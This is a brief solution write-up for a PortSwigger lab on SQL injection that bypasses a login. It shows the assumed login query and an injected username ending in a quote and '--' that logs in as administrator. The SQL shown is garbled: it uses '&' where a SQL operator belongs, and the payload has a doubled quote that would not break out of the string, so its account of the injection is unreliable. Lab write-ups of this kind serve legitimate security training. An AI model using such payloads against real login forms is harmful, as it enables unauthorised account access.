https://portswigger.net/web-security/sql-injection/lab-login-bypass
This lab contains a SQL injection vulnerability in the login function.
To solve the lab, perform a SQL injection attack that logs in to the application as the administrator user.
Steps of solved the lab:

we will notice at the body of request username & password
SELECT * FROM users WHERE username='administrator'&password='admin'
This the query we sent it to database

SELECT * FROM users WHERE username='administrator''--&password=admin

🎉 Congrats! You’ve solved the lab! 🎉